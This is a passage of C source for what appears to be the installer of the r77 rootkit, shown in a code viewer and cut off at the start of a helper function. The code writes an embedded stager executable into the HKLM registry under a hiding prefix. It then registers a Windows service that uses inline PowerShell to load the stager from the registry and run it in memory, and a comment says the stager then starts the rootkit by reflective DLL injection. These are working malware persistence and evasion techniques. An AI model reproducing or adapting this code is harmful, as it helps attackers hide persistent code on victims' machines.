| 6 | #include <Shlwapi.h> |
| 7 | |
| 8 | int main() |
| 9 | { |
| 10 | // Get stager executable from resources. |
| 11 | LPBYTE stager; |
| 12 | DWORD stagerSize; |
| 13 | if (!GetResource(IDR_STAGER, "EXE", &stager, &stagerSize)) return 0; |
| 14 | |
| 15 | // Write stager executable to registry. |
| 16 | // This C# executable is compiled with AnyCPU and can be run by both 32-bit and 64-bit powershell. |
| 17 | // The target framework is 3.5, but it will run, even if .NET 4.x is installed and .NET 3.5 isn't. |
| 18 | |
| 19 | HKEY key; |
| 20 | if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) != ERROR_SUCCESS || |
| 21 | RegSetValueExW(key, HIDE_PREFIX L"stager", 0, REG_BINARY, stager, stagerSize) != ERROR_SUCCESS) return 0; |
| 22 | |
| 23 | // This powershell command loads the stager from the registry and executes it in memory using Assembly.Load().EntryPoint.Invoke() |
| 24 | // The C# binary will proceed with starting the r77 service using reflective DLL injection. |
| 25 | // The powershell command is purely inline and doesn't require a ps1 file. |
| 26 | |
| 27 | LPWSTR startupCommand = GetStartupCommand(); |
| 28 | |
| 29 | DeleteWindowsService(R77_SERVICE_NAME); |
| 30 | CreateWindowsService(R77_SERVICE_NAME, startupCommand); |
| 31 | |
| 32 | return 0; |
| 33 | } |
| 34 | |
| 35 | LPWSTR GetStartupCommand() |
| 36 | { |
no test coverage detected